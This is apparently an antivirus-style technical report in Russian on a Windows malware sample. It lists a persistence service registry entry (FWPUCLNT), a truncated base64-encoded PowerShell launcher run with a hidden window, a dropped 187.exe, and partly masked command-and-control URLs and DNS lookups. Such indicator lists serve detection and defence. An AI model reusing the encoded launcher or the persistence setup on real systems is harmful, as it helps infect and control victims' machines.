Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\FWPUCLNT] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\FWPUCLNT] 'ImagePath' = '"%WINDIR%\SysWOW64\FWPUCLNT\FWPUCLNT.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAGIAcQBiAHcAaQBwAHcAcQA9ACcASQBvAGsAZwBkAGEAdgBhACcAOwAkAFQAbgBmAG0AZAByAHUAcwBuAGQAIAA9ACAAJwAxADgANwAnADsAJABXAGEAbQBmAGUAZwBlAGIAcQBjAGMAYwA9ACcASgB6AHYAbQBiAHkAdwBpAGoAeAAnADsAJABZAH...
- %HOMEPATH%\187.exe
- %HOMEPATH%\187.exe в %WINDIR%\syswow64\fwpuclnt\fwpuclnt.exe
- '17#.#21.229.86':80
- http://cr#.###universal.com/user_privileges/ZHxZ101162/
- http://17#.#21.229.86/hq54ZX0reyu3AC/4VKnH4W4UqJgF/wZ6FiY7Ruzo/lNb7/qtt93Zk45uoA/
- DNS ASK ac######on.mathetmots.com
- DNS ASK cr#.###universal.com
- '%HOMEPATH%\187.exe'
- '%WINDIR%\syswow64\fwpuclnt\fwpuclnt.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAGIAcQBiAHcAaQBwAHcAcQA9ACcASQBvAGsAZwBkAGEAdgBhACcAOwAkAFQAbgBmAG0AZAByAHUAcwBuAGQAIAA9ACAAJwAxADgANwAnADsAJABXAGEAbQBmAGUAZwBlAGIAcQBjAGMAYwA9ACcASgB6AHYAbQBiAHkAdwBpAGoAeAAnADsAJABZAH...' (со скрытым окном)